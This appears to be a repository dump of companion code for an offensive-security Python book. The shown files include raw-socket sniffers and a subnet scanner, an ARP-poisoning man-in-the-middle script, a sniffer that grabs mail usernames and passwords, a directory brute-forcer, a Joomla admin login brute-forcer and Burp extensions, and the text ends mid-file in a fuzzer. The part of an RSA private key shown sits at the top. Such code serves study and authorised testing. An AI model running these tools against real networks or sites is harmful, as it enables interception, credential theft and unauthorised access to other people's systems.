tYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqU 9 | avNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA 10 | 4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3g 11 | H0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTv 12 | qfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wV 13 | HhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiSc 14 | nvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7 15 | -----END RSA PRIVATE KEY----- 16 | -------------------------------------------------------------------------------- /chapter02/udp-client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "127.0.0.1" 4 | target_port = 80 5 | 6 | # create a socket object 7 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 8 | 9 | # send some data 10 | client.sendto(b"AAABBBCCC", (target_host, target_port)) 11 | 12 | # receive some data 13 | data, addr = client.recvfrom(4096) 14 | 15 | print(data) 16 | -------------------------------------------------------------------------------- /chapter03/scanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | import threading 5 | from ipaddress import ip_address, ip_network 6 | from ctypes import * 7 | 8 | # host to listen on 9 | host = "192.168.0.187" 10 | 11 | # subnet to target 12 | tgt_subnet = "192.168.0.0/24" 13 | 14 | # magic we'll check ICMP responses for 15 | tgt_message = "PYTHONRULES!" 16 | 17 | 18 | def udp_sender(sub_net, magic_message): 19 | sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 20 | 21 | for ip in ip_network(sub_net).hosts(): 22 | sender.sendto(magic_message.encode('utf-8'), (str(ip), 65212)) 23 | 24 | 25 | class IP(Structure): 26 | _fields_ = [ 27 | ("ihl", c_ubyte, 4), 28 | ("version", c_ubyte, 4), 29 | ("tos", c_ubyte), 30 | ("len", c_ushort), 31 | ("id", c_ushort), 32 | ("offset", c_ushort), 33 | ("ttl", c_ubyte), 34 | ("protocol_num", c_ubyte), 35 | ("sum", c_ushort), 36 | ("src", c_uint32), 37 | ("dst", c_uint32) 38 | ] 39 | 40 | def __new__(cls, socket_buffer=None): 41 | return cls.from_buffer_copy(socket_buffer) 42 | 43 | def __init__(self, socket_buffer=None): 44 | self.socket_buffer = socket_buffer 45 | 46 | # map protocol constants to their names 47 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 48 | 49 | # human readable IP addresses 50 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 51 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 52 | 53 | # human readable protocol 54 | try: 55 | self.protocol = self.protocol_map[self.protocol_num] 56 | except IndexError: 57 | self.protocol = str(self.protocol_num) 58 | 59 | 60 | class ICMP(Structure): 61 | _fields_ = [ 62 | ("type", c_ubyte), 63 | ("code", c_ubyte), 64 | ("checksum", c_ushort), 65 | ("unused", c_ushort), 66 | ("next_hop_mtu", c_ushort) 67 | ] 68 | 69 | def __new__(cls, socket_buffer): 70 | return cls.from_buffer_copy(socket_buffer) 71 | 72 | def __init__(self, socket_buffer): 73 | self.socket_buffer = socket_buffer 74 | 75 | 76 | # create a raw socket and bind it to the public interface 77 | if os.name == "nt": 78 | socket_protocol = socket.IPPROTO_IP 79 | else: 80 | socket_protocol = socket.IPPROTO_ICMP 81 | 82 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 83 | 84 | sniffer.bind((host, 0)) 85 | 86 | # we want the IP headers included in the capture 87 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 88 | 89 | # if we're on Windows we need to send some ioctl 90 | # to setup promiscuous mode 91 | if os.name == "nt": 92 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 93 | 94 | # start sending packets 95 | t = threading.Thread(target=udp_sender, args=(tgt_subnet, tgt_message)) 96 | t.start() 97 | 98 | try: 99 | while True: 100 | 101 | # read in a single packet 102 | raw_buffer = sniffer.recvfrom(65535)[0] 103 | 104 | # create an IP header from the first 20 bytes of the buffer 105 | ip_header = IP(raw_buffer[:20]) 106 | 107 | print("Protocol: %s %s -> %s" % ( 108 | ip_header.protocol, 109 | ip_header.src_address, 110 | ip_header.dst_address) 111 | ) 112 | 113 | # if it's ICMP we want it 114 | if ip_header.protocol == "ICMP": 115 | 116 | # calculate where our ICMP packet starts 117 | offset = ip_header.ihl * 4 118 | buf = raw_buffer[offset:offset + sizeof(ICMP)] 119 | 120 | # create our ICMP structure 121 | icmp_header = ICMP(buf) 122 | 123 | print("ICMP -> Type: %d Code: %d" % ( 124 | icmp_header.type, 125 | icmp_header.code) 126 | ) 127 | 128 | # now check for the TYPE 3 and CODE 3 which indicates 129 | # a host is up but no port available to talk to 130 | if icmp_header.code == 3 and icmp_header.type == 3: 131 | 132 | # check to make sure we are receiving the response 133 | # that lands in our subnet 134 | if ip_address(ip_header.src_address) in ip_network(tgt_subnet): 135 | 136 | # test for our magic message 137 | if raw_buffer[len(raw_buffer) 138 | - len(tgt_message):] == tgt_message: 139 | print("Host Up: %s" % ip_header.src_address) 140 | 141 | # handle CTRL-C 142 | except KeyboardInterrupt: 143 | # if we're on Windows turn off promiscuous mode 144 | if os.name == "nt": 145 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 146 | -------------------------------------------------------------------------------- /chapter03/sniffer_basic.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | 4 | # host to listen on 5 | host = "192.168.0.196" 6 | 7 | # create a raw socket and bind it to the public interface 8 | if os.name == "nt": 9 | socket_protocol = socket.IPPROTO_IP 10 | else: 11 | socket_protocol = socket.IPPROTO_ICMP 12 | 13 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 14 | 15 | sniffer.bind((host, 0)) 16 | 17 | # we want the IP headers included in the capture 18 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 19 | 20 | # if we're on Windows we need to send an IOCTL 21 | # to setup promiscuous mode 22 | if os.name == "nt": 23 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 24 | 25 | # read in a single packet 26 | print(sniffer.recvfrom(65535)) 27 | 28 | # if we're on Windows turn off promiscuous mode 29 | if os.name == "nt": 30 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 31 | -------------------------------------------------------------------------------- /chapter03/sniffer_ip_header_decode.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | from ctypes import * 5 | 6 | # host to listen on 7 | host = "192.168.0.187" 8 | 9 | 10 | class IP(Structure): 11 | _fields_ = [ 12 | ("ihl", c_ubyte, 4), 13 | ("version", c_ubyte, 4), 14 | ("tos", c_ubyte), 15 | ("len", c_ushort), 16 | ("id", c_ushort), 17 | ("offset", c_ushort), 18 | ("ttl", c_ubyte), 19 | ("protocol_num", c_ubyte), 20 | ("sum", c_ushort), 21 | ("src", c_uint32), 22 | ("dst", c_uint32) 23 | ] 24 | 25 | def __new__(cls, socket_buffer=None): 26 | return cls.from_buffer_copy(socket_buffer) 27 | 28 | def __init__(self, socket_buffer=None): 29 | self.socket_buffer = socket_buffer 30 | 31 | # map protocol constants to their names 32 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 33 | 34 | # human readable IP addresses 35 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 36 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 37 | 38 | # human readable protocol 39 | try: 40 | self.protocol = self.protocol_map[self.protocol_num] 41 | except IndexError: 42 | self.protocol = str(self.protocol_num) 43 | 44 | 45 | # create a raw socket and bind it to the public interface 46 | if os.name == "nt": 47 | socket_protocol = socket.IPPROTO_IP 48 | else: 49 | socket_protocol = socket.IPPROTO_ICMP 50 | 51 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 52 | 53 | sniffer.bind((host, 0)) 54 | 55 | # we want the IP headers included in the capture 56 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 57 | 58 | # if we're on Windows we need to send some ioctl 59 | # to setup promiscuous mode 60 | if os.name == "nt": 61 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 62 | 63 | try: 64 | while True: 65 | # read in a single packet 66 | raw_buffer = sniffer.recvfrom(65535)[0] 67 | 68 | # create an IP header from the first 20 bytes of the buffer 69 | ip_header = IP(raw_buffer[:20]) 70 | 71 | print("Protocol: %s %s -> %s" % ( 72 | ip_header.protocol, 73 | ip_header.src_address, 74 | ip_header.dst_address) 75 | ) 76 | 77 | except KeyboardInterrupt: 78 | # if we're on Windows turn off promiscuous mode 79 | if os.name == "nt": 80 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 81 | -------------------------------------------------------------------------------- /chapter03/sniffer_with_icmp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | 5 | from ctypes import * 6 | 7 | # host to listen on 8 | host = "192.168.0.187" 9 | 10 | 11 | class IP(Structure): 12 | 13 | _fields_ = [ 14 | ("ihl", c_ubyte, 4), 15 | ("version", c_ubyte, 4), 16 | ("tos", c_ubyte), 17 | ("len", c_ushort), 18 | ("id", c_ushort), 19 | ("offset", c_ushort), 20 | ("ttl", c_ubyte), 21 | ("protocol_num", c_ubyte), 22 | ("sum", c_ushort), 23 | ("src", c_uint32), 24 | ("dst", c_uint32) 25 | ] 26 | 27 | def __new__(cls, socket_buffer=None): 28 | return cls.from_buffer_copy(socket_buffer) 29 | 30 | def __init__(self, socket_buffer=None): 31 | self.socket_buffer = socket_buffer 32 | 33 | # map protocol constants to their names 34 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 35 | 36 | # human readable IP addresses 37 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 38 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 39 | 40 | # human readable protocol 41 | try: 42 | self.protocol = self.protocol_map[self.protocol_num] 43 | except IndexError: 44 | self.protocol = str(self.protocol_num) 45 | 46 | 47 | class ICMP(Structure): 48 | 49 | _fields_ = [ 50 | ("type", c_ubyte), 51 | ("code", c_ubyte), 52 | ("checksum", c_ushort), 53 | ("unused", c_ushort), 54 | ("next_hop_mtu", c_ushort) 55 | ] 56 | 57 | def __new__(cls, socket_buffer): 58 | return cls.from_buffer_copy(socket_buffer) 59 | 60 | def __init__(self, socket_buffer): 61 | self.socket_buffer = socket_buffer 62 | 63 | 64 | # create a raw socket and bind it to the public interface 65 | if os.name == "nt": 66 | socket_protocol = socket.IPPROTO_IP 67 | else: 68 | socket_protocol = socket.IPPROTO_ICMP 69 | 70 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 71 | 72 | sniffer.bind((host, 0)) 73 | 74 | # we want the IP headers included in the capture 75 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 76 | 77 | # if we're on Windows we need to send some ioctl 78 | # to setup promiscuous mode 79 | if os.name == "nt": 80 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 81 | 82 | 83 | try: 84 | while True: 85 | # read in a single packet 86 | raw_buffer = sniffer.recvfrom(65535)[0] 87 | 88 | # create an IP header from the first 20 bytes of the buffer 89 | ip_header = IP(raw_buffer[:20]) 90 | 91 | print("Protocol: %s %s -> %s" % ( 92 | ip_header.protocol, 93 | ip_header.src_address, 94 | ip_header.dst_address) 95 | ) 96 | 97 | # if it's ICMP we want it 98 | if ip_header.protocol == "ICMP": 99 | # calculate where our ICMP packet starts 100 | offset = ip_header.ihl * 4 101 | buf = raw_buffer[offset:offset + sizeof(ICMP)] 102 | 103 | # create our ICMP structure 104 | icmp_header = ICMP(buf) 105 | 106 | print("ICMP -> Type: %d Code: %d" % ( 107 | icmp_header.type, 108 | icmp_header.code) 109 | ) 110 | 111 | # handle CTRL-C 112 | except KeyboardInterrupt: 113 | # if we're on Windows turn off promiscuous mode 114 | if os.name == "nt": 115 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 116 | -------------------------------------------------------------------------------- /chapter04/arper.py: -------------------------------------------------------------------------------- 1 | from kamene.all import * 2 | import sys 3 | import threading 4 | 5 | interface = "en1" 6 | tgt_ip = "172.16.1.71" 7 | tgt_gateway = "172.16.1.254" 8 | packet_count = 1000 9 | poisoning = True 10 | 11 | 12 | def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): 13 | # slightly different method using send 14 | print("[*] Restoring target...") 15 | send(ARP(op=2, 16 | psrc=gateway_ip, 17 | pdst=target_ip, 18 | hwdst="ff:ff:ff:ff:ff:ff", 19 | hwsrc=gateway_mac), 20 | count=5) 21 | send(ARP(op=2, 22 | psrc=target_ip, 23 | pdst=gateway_ip, 24 | hwdst="ff:ff:ff:ff:ff:ff", 25 | hwsrc=target_mac), 26 | count=5) 27 | 28 | 29 | def get_mac(ip_address): 30 | responses, unanswered = srp( 31 | Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address), 32 | timeout=2, 33 | retry=10 34 | ) 35 | 36 | # return the MAC address from a response 37 | for s, r in responses: 38 | return r[Ether].src 39 | return None 40 | 41 | 42 | def poison_target(gateway_ip, gateway_mac, target_ip, target_mac): 43 | global poisoning 44 | 45 | poison_tgt = ARP() 46 | poison_tgt.op = 2 47 | poison_tgt.psrc = gateway_ip 48 | poison_tgt.pdst = target_ip 49 | poison_tgt.hwdst = target_mac 50 | 51 | poison_gateway = ARP() 52 | poison_gateway.op = 2 53 | poison_gateway.psrc = target_ip 54 | poison_gateway.pdst = gateway_ip 55 | poison_gateway.hwdst = gateway_mac 56 | 57 | print("[*] Beginning the ARP poison. [CTRL-C to stop]") 58 | 59 | while poisoning: 60 | send(poison_tgt) 61 | send(poison_gateway) 62 | time.sleep(2) 63 | 64 | print("[*] ARP poison attack finished.") 65 | 66 | return 67 | 68 | 69 | # set our interface 70 | conf.iface = interface 71 | 72 | # turn off output 73 | conf.verb = 0 74 | 75 | print("[*] Setting up %s" % interface) 76 | 77 | tgt_gateway_mac = get_mac(tgt_gateway) 78 | 79 | if tgt_gateway_mac is None: 80 | print("[!!!] Failed to get gateway MAC. Exiting.") 81 | sys.exit(0) 82 | else: 83 | print("[*] Gateway %s is at %s" % (tgt_gateway, tgt_gateway_mac)) 84 | 85 | tgt_mac = get_mac(tgt_ip) 86 | 87 | if tgt_mac is None: 88 | print("[!!!] Failed to get target MAC. Exiting.") 89 | sys.exit(0) 90 | else: 91 | print("[*] Target %s is at %s" % (tgt_ip, tgt_mac)) 92 | 93 | # start poison thread 94 | poison_thread = threading.Thread(target=poison_target, 95 | args=(tgt_gateway, 96 | tgt_gateway_mac, 97 | tgt_ip, 98 | tgt_mac) 99 | ) 100 | poison_thread.start() 101 | 102 | try: 103 | print("[*] Starting sniffer for %d packets" % packet_count) 104 | bpf_filter = "ip host %s" % tgt_ip 105 | packets = sniff(count=packet_count, 106 | filter=bpf_filter, 107 | iface=interface 108 | ) 109 | # write out the captured packets 110 | print("[*] Writing packets to arper.pcap") 111 | wrpcap('arper.pcap', packets) 112 | 113 | except KeyboardInterrupt: 114 | pass 115 | 116 | finally: 117 | poisoning = False 118 | # wait for poisoning thread to exit 119 | time.sleep(2) 120 | 121 | # restore the network 122 | restore_target(tgt_gateway, 123 | tgt_gateway_mac, 124 | tgt_ip, 125 | tgt_mac 126 | ) 127 | sys.exit(0) 128 | -------------------------------------------------------------------------------- /chapter04/mail_sniffer.py: -------------------------------------------------------------------------------- 1 | from kamene.all import * 2 | 3 | 4 | # our packet callback 5 | def packet_callback(packet): 6 | if packet[TCP].payload: 7 | mail_packet = bytes(packet[TCP].payload) 8 | if b'user' in mail_packet.lower() or b'pass' in mail_packet.lower(): 9 | print("[*] Server: %s" % packet[IP].dst) 10 | print("[*] %s" % packet[TCP].payload) 11 | 12 | 13 | # fire up our sniffer 14 | sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", 15 | prn=packet_callback, 16 | store=0) 17 | -------------------------------------------------------------------------------- /chapter04/pic_carver.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | from kamene.all import * 3 | 4 | pictures_directory = "pic_carver/pictures" 5 | faces_directory = "pic_carver/faces" 6 | pcap_file = "bhp.pcap" 7 | 8 | 9 | def face_detect(path, file_name): 10 | img = cv2.imread(path) 11 | cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml") 12 | rects = cascade.detectMultiScale(img, 1.3, 4, 13 | cv2.CASCADE_SCALE_IMAGE, (20, 20) 14 | ) 15 | if len(rects) == 0: 16 | return False 17 | rects[:, 2:] += rects[:, :2] 18 | 19 | # highlight the faces in the image 20 | for x1, y1, x2, y2 in rects: 21 | cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2) 22 | cv2.imwrite("%s/%s-%s" % (faces_directory, pcap_file, file_name), img) 23 | return True 24 | 25 | 26 | def get_http_headers(http_payload): 27 | try: 28 | # split the headers off if it is HTTP traffic 29 | headers_raw = http_payload[:http_payload.index("\r\n\r\n") + 2] 30 | # break out the headers 31 | headers = dict( 32 | re.findall(r"(?P.*?): (?P.*?)\r\n", headers_raw)) 33 | except: 34 | return None 35 | if "Content-Type" not in headers: 36 | return None 37 | return headers 38 | 39 | 40 | def extract_image(headers, http_payload): 41 | image = None 42 | image_type = None 43 | 44 | try: 45 | if "image" in headers['Content-Type']: 46 | # grab the image type and image body 47 | image_type = headers['Content-Type'].split("/")[1] 48 | image = http_payload[http_payload.index("\r\n\r\n") + 4:] 49 | # if we detect compression decompress the image 50 | try: 51 | if "Content-Encoding" in list(headers.keys()): 52 | if headers['Content-Encoding'] == "gzip": 53 | image = zlib.decompress(image, 16 + zlib.MAX_WBITS) 54 | elif headers['Content-Encoding'] == "deflate": 55 | image = zlib.decompress(image) 56 | except: 57 | pass 58 | except: 59 | return None, None 60 | return image, image_type 61 | 62 | 63 | def http_assembler(pcap_fl): 64 | carved_images = 0 65 | faces_detected = 0 66 | 67 | a = rdpcap(pcap_fl) 68 | sessions = a.sessions() 69 | 70 | for session in sessions: 71 | http_payload = "" 72 | for packet in sessions[session]: 73 | try: 74 | if packet[TCP].dport == 80 or packet[TCP].sport == 80: 75 | # reassemble the stream into a single buffer 76 | http_payload += str(packet[TCP].payload) 77 | except: 78 | pass 79 | headers = get_http_headers(http_payload) 80 | 81 | if headers is None: 82 | continue 83 | 84 | image, image_type = extract_image(headers, http_payload) 85 | 86 | if image is not None and image_type is not None: 87 | # store the image 88 | file_name = "%s-pic_carver_%d.%s" % ( 89 | pcap_fl, carved_images, image_type) 90 | fd = open("%s/%s" % (pictures_directory, file_name), "wb") 91 | fd.write(image) 92 | fd.close() 93 | carved_images += 1 94 | # now attempt face detection 95 | try: 96 | result = face_detect("%s/%s" % (pictures_directory, file_name), 97 | file_name) 98 | if result is True: 99 | faces_detected += 1 100 | except: 101 | pass 102 | return carved_images, faces_detected 103 | 104 | 105 | carved_img, faces_dtct = http_assembler(pcap_file) 106 | 107 | print("Extracted: %d images" % carved_images) 108 | print("Detected: %d faces" % faces_detected) 109 | -------------------------------------------------------------------------------- /chapter05/content_bruter.py: -------------------------------------------------------------------------------- 1 | import queue 2 | import threading 3 | import urllib.error 4 | import urllib.parse 5 | import urllib.request 6 | 7 | threads = 50 8 | target_url = "http://testphp.vulnweb.com" 9 | wordlist_file = "all.txt" # from SVNDigger 10 | resume = None 11 | user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) " \ 12 | "Gecko/20100101 " \ 13 | "Firefox/19.0" 14 | 15 | 16 | def build_wordlist(wordlst_file): 17 | # read in the word list 18 | fd = open(wordlst_file, "r") 19 | raw_words = [line.rstrip('\n') for line in fd] 20 | fd.close() 21 | 22 | found_resume = False 23 | words = queue.Queue() 24 | 25 | for word in raw_words: 26 | if resume: 27 | if found_resume: 28 | words.put(word) 29 | else: 30 | if word == resume: 31 | found_resume = True 32 | print("Resuming wordlist from: %s" % resume) 33 | else: 34 | words.put(word) 35 | return words 36 | 37 | 38 | def dir_bruter(extensions=None): 39 | while not word_queue.empty(): 40 | attempt = word_queue.get() 41 | attempt_list = [] 42 | 43 | # check if there is a file extension if not 44 | # it's a directory path we're bruting 45 | if "." not in attempt: 46 | attempt_list.append("/%s/" % attempt) 47 | else: 48 | attempt_list.append("/%s" % attempt) 49 | 50 | # if we want to bruteforce extensions 51 | if extensions: 52 | for extension in extensions: 53 | attempt_list.append("/%s%s" % (attempt, extension)) 54 | 55 | # iterate over our list of attempts 56 | for brute in attempt_list: 57 | url = "%s%s" % (target_url, urllib.parse.quote(brute)) 58 | try: 59 | headers = {"User-Agent": user_agent} 60 | r = urllib.request.Request(url, headers=headers) 61 | response = urllib.request.urlopen(r) 62 | if len(response.read()): 63 | print("[%d] => %s" % (response.code, url)) 64 | except urllib.error.HTTPError as e: 65 | if e.code != 404: 66 | print("!!! %d => %s" % (e.code, url)) 67 | pass 68 | 69 | 70 | word_queue = build_wordlist(wordlist_file) 71 | file_extensions = [".php", ".bak", ".orig", ".inc"] 72 | 73 | for i in range(threads): 74 | t = threading.Thread(target=dir_bruter, args=(file_extensions,)) 75 | t.start() 76 | -------------------------------------------------------------------------------- /chapter05/joomla_killer.py: -------------------------------------------------------------------------------- 1 | import http.cookiejar 2 | import queue 3 | import threading 4 | import urllib.error 5 | import urllib.parse 6 | import urllib.request 7 | from abc import ABC 8 | from html.parser import HTMLParser 9 | 10 | # general settings 11 | user_thread = 10 12 | username = "admin" 13 | wordlist_file = "cain.txt" 14 | resume = None 15 | 16 | # target specific settings 17 | target_url = "http://192.168.112.131/administrator/index.php" 18 | target_post = "http://192.168.112.131/administrator/index.php" 19 | 20 | username_field = "username" 21 | password_field = "passwd" 22 | 23 | success_check = "Administration - Control Panel" 24 | 25 | 26 | class BruteParser(HTMLParser, ABC): 27 | def __init__(self): 28 | HTMLParser.__init__(self) 29 | self.tag_results = {} 30 | 31 | def handle_starttag(self, tag, attrs): 32 | if tag == "input": 33 | tag_name = None 34 | for name, value in attrs: 35 | if name == "name": 36 | tag_name = value 37 | if tag_name: 38 | self.tag_results[tag_name] = value 39 | 40 | 41 | class Bruter(object): 42 | def __init__(self, user, words_q): 43 | self.username = user 44 | self.password_q = words_q 45 | self.found = False 46 | print("Finished setting up for: %s" % user) 47 | 48 | def run_bruteforce(self): 49 | for i in range(user_thread): 50 | t = threading.Thread(target=self.web_bruter) 51 | t.start() 52 | 53 | def web_bruter(self): 54 | while not self.password_q.empty() and not self.found: 55 | brute = self.password_q.get().rstrip() 56 | jar = http.cookiejar.FileCookieJar("cookies") 57 | opener = urllib.request.build_opener( 58 | urllib.request.HTTPCookieProcessor(jar)) 59 | 60 | response = opener.open(target_url) 61 | 62 | page = response.read() 63 | 64 | print("Trying: %s : %s (%d left)" % ( 65 | self.username, brute, self.password_q.qsize())) 66 | 67 | # parse out the hidden fields 68 | parser = BruteParser() 69 | parser.feed(page) 70 | 71 | post_tags = parser.tag_results 72 | 73 | # add our username and password fields 74 | post_tags[username_field] = self.username 75 | post_tags[password_field] = brute 76 | 77 | login_data = urllib.parse.urlencode(post_tags) 78 | login_response = opener.open(target_post, login_data) 79 | 80 | login_result = login_response.read() 81 | 82 | if success_check in login_result: 83 | self.found = True 84 | 85 | print("[*] Bruteforce successful.") 86 | print("[*] Username: %s" % username) 87 | print("[*] Password: %s" % brute) 88 | print("[*] Waiting for other threads to exit...") 89 | 90 | 91 | def build_wordlist(wordlst_file): 92 | # read in the word list 93 | fd = open(wordlst_file, "r") 94 | raw_words = [line.rstrip('\n') for line in fd] 95 | fd.close() 96 | 97 | found_resume = False 98 | word_queue = queue.Queue() 99 | 100 | for word in raw_words: 101 | word = word.rstrip() 102 | if resume is not None: 103 | if found_resume: 104 | word_queue.put(word) 105 | else: 106 | if word == resume: 107 | found_resume = True 108 | print("Resuming wordlist from: %s" % resume) 109 | else: 110 | word_queue.put(word) 111 | return word_queue 112 | 113 | 114 | words = build_wordlist(wordlist_file) 115 | bruter_obj = Bruter(username, words) 116 | bruter_obj.run_bruteforce() 117 | -------------------------------------------------------------------------------- /chapter05/web_app_mapper.py: -------------------------------------------------------------------------------- 1 | import os 2 | import queue 3 | import threading 4 | import urllib.error 5 | import urllib.parse 6 | import urllib.request 7 | 8 | threads = 10 9 | target = "http://www.test.com" 10 | directory = "/Users/justin/Downloads/joomla-3.1.1" 11 | filters = [".jpg", ".gif", "png", ".css"] 12 | 13 | os.chdir(directory) 14 | web_paths = queue.Queue() 15 | 16 | for r, d, f in os.walk("."): 17 | for files in f: 18 | remote_path = "%s/%s" % (r, files) 19 | if remote_path.startswith("."): 20 | remote_path = remote_path[1:] 21 | if os.path.splitext(files)[1] not in filters: 22 | web_paths.put(remote_path) 23 | 24 | 25 | def test_remote(): 26 | while not web_paths.empty(): 27 | path = web_paths.get() 28 | url = "%s%s" % (target, path) 29 | request = urllib.request.Request(url) 30 | try: 31 | response = urllib.request.urlopen(request) 32 | print("[%d] => %s" % (response.code, path)) 33 | response.close() 34 | except urllib.error.HTTPError as error: 35 | print("Failed %s" % error.code) 36 | pass 37 | 38 | 39 | for i in range(threads): 40 | print("Spawning thread: %d" % i) 41 | t = threading.Thread(target=test_remote) 42 | t.start() 43 | -------------------------------------------------------------------------------- /chapter06/bhp_bing.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | import re 4 | import socket 5 | import urllib.error 6 | import urllib.parse 7 | import urllib.request 8 | 9 | from burp import IBurpExtender 10 | from burp import IContextMenuFactory 11 | from java.net import URL 12 | from java.util import ArrayList 13 | from javax.swing import JMenuItem 14 | 15 | bing_api_key = "YOURKEYHERE" 16 | 17 | 18 | class BurpExtender(IBurpExtender, IContextMenuFactory): 19 | def registerExtenderCallbacks(self, callbacks): 20 | self._callbacks = callbacks 21 | self._helpers = callbacks.getHelpers() 22 | self.context = None 23 | 24 | # we set up our extension 25 | callbacks.setExtensionName("BHP Bing") 26 | callbacks.registerContextMenuFactory(self) 27 | return 28 | 29 | def createMenuItems(self, context_menu): 30 | self.context = context_menu 31 | menu_list = ArrayList() 32 | menu_list.add(JMenuItem("Send to Bing", actionPerformed=self.bing_menu)) 33 | return menu_list 34 | 35 | def bing_menu(self, event): 36 | # grab the details of what the user clicked 37 | http_traffic = self.context.getSelectedMessages() 38 | print("%d requests highlighted" % len(http_traffic)) 39 | 40 | for traffic in http_traffic: 41 | http_service = traffic.getHttpService() 42 | host = http_service.getHost() 43 | print("User selected host: %s" % host) 44 | self.bing_search(host) 45 | return 46 | 47 | def bing_search(self, host): 48 | 49 | # check if we have an IP or hostname 50 | is_ip = re.match(r'[0-9]+(?:\.[0-9]+){3}', host) 51 | 52 | if is_ip: 53 | ip_address = host 54 | domain = False 55 | else: 56 | ip_address = socket.gethostbyname(host) 57 | domain = True 58 | 59 | bing_query_string = "'ip:%s'" % ip_address 60 | self.bing_query(bing_query_string) 61 | 62 | if domain: 63 | bing_query_string = "'domain:%s'" % host 64 | self.bing_query(bing_query_string) 65 | 66 | def bing_query(self, bing_query_string): 67 | 68 | print("Performing Bing search: %s" % bing_query_string) 69 | 70 | # encode our query 71 | quoted_query = urllib.parse.quote(bing_query_string) 72 | 73 | http_request = "GET https://api.datamarket.azure.com/Bing/Search/Web?$format=json&$top=20&Query=%s HTTP/1.1\r\n" % quoted_query 74 | http_request += "Host: api.datamarket.azure.com\r\n" 75 | http_request += "Connection: close\r\n" 76 | http_request += "Authorization: Basic %s\r\n" % base64.b64encode( 77 | ":%s" % bing_api_key) 78 | http_request += "User-Agent: Blackhat Python\r\n\r\n" 79 | 80 | json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com", 81 | 443, True, 82 | http_request).tostring() 83 | 84 | json_body = json_body.split("\r\n\r\n", 1)[1] 85 | 86 | try: 87 | r = json.loads(json_body) 88 | if len(r["d"]["results"]): 89 | for site in r["d"]["results"]: 90 | print("*" * 100) 91 | print(site['Title']) 92 | print(site['Url']) 93 | print(site['Description']) 94 | print("*" * 100) 95 | j_url = URL(site['Url']) 96 | if not self._callbacks.isInScope(j_url): 97 | print("Adding to Burp scope") 98 | self._callbacks.includeInScope(j_url) 99 | except: 100 | print("No results from Bing") 101 | pass 102 | return 103 | -------------------------------------------------------------------------------- /chapter06/bhp_fuzzer.py: -------------------------------------------------------------------------------- 1 | from burp import IBurpExtender 2 | from burp import IIntruderPayloadGeneratorFactory 3 | from burp import IIntruderPayloadGenerator 4 | from java.util import List, ArrayList 5 | import random 6 | 7 | 8 | class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): 9 | def registerExtenderCallbacks(self, callbacks): 10 | self._callbacks = callbacks 11 | self._helpers = callbacks.getHelpers() 12 | callbacks.registerIntruderPayloadGeneratorFactory(self) 13 | return 14 | 15 | @staticmethod 16 | def getGeneratorName(): 17 | return "BHP Payload Generator" 18 | 19 | def createNewInstance(self, attack): 20 | return BHPFuzzer(self, attack) 21 | 22 | 23 | class BHPFuzzer(IIntruderPayloadGenerator): 24 | def __init__(self, extender, attack): 25 | self._extender = extender 26 | self._helpers = extender._helpers 27 | self._attack = attack 28 | print("BHP Fuzzer initialized") 29 | self.max_payloads = 1000 30 | self.num_payloads = 0 31 | 32 | return 33 | 34 | def hasMorePayloads(self): 35 | 